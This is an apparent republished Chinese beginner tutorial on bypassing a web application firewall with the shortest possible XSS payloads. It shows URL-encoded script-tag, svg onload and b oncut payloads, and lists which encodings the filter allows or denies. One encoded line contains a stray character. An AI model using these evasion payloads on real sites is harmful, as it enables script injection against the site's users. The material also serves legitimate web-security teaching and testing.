zoukankan      html  css  js  c++  java
  • 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain

    <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过。</font>

    我在这里先使用一个网页举例。

    <script>alert(1)</script>

    1.png

    然后输入经典的payload 

    2.png

    拒绝访问!看起来像是WAF正在限制我们的方式。所以我要用URL编码对我们的payload进行编码。可以在搜索引擎上找到一些可以做到这一点的网站,但我喜欢用火狐的HackBar插件。所以我把我的payload进行了编码。

    3.png

    4.png

    现在来看看是否可以绕过WAF  

    %3C%73%63%72%69%70%74%3E%61%6c的%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

    5.png

    是啊 我们成功了!
    这真的很简单,但如果搜索表单不允许我们输入超过35个字符怎么办?或者25呢?
    先尝试缩短这个75个字符长的payload。
    首先,我们并不需要对所有内容进行编码,所以尝试通过不同的payload来找出WAF进行限制的字符。(这是一种方法,先测试waf限制的字符有哪些,哒哒哈

    %3cscript%3ealert(1)%3c%2fscript%3e Success
    %3cscript>alert(1)%3c%2fscriptAccess Denied
    <script%3ealert(1)%3c/fscript%3e Access Denied

    ……

    %3cscript%3ealert(1)%3c/scriptSuccess

    实际上也可以使用alert()而不是alert(1)。alert()将给我们一个空白的警告弹出,并将减小使用1个字符。
    所以这里是我们的最后的payload只有31个字符:

    %3cscript%3ealert()%3c/script>

    JavaScript不限于脚本标签。所以可以尝试用不同的标签和事件处理程序创建payload。

    <svg onload = alert()>拒绝访问
    编码之后成功
    %3c%73%76%67%20%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%29%3e 成功

    尝试了payload的不同变体,找出应该编码的内容,这就是最后所得到的:
    %3csvg onload%3dalert()> 成功

    因此,现在将payload缩短为24个字符!能做得更短吗?可以,看看这个精美的payload%3cb oncut%3dalert()>
    没有编码它看起来像这样
    <b oncut = alert()>
    如果你输入了这个payload,没有任何事情会发生。

    6.png

    但是一旦尝试从网页上剪切一些文字

    7.png

    将会看到XSS的弹弹弹!哈哈

    8.png

  • 相关阅读:
    acm的STL容器之vector篇
    服务器远程管理方法及centos该装那个
    VB获取对象成员
    获取搜索引擎关键字建议
    IntelliJ IDEA乱码 问题
    排序算法思想
    ubuntu16 开机启动plank
    fail-fast出识
    html 标签过滤、转译、反转译
    (a ==1 && a== 2 && a==3) 有可能是 true 吗?
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7773686.html
Copyright © 2011-2022 走看看